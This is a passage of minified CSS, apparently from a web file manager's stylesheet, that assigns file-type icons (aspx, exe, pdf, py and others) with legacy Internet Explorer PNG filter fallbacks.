\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none 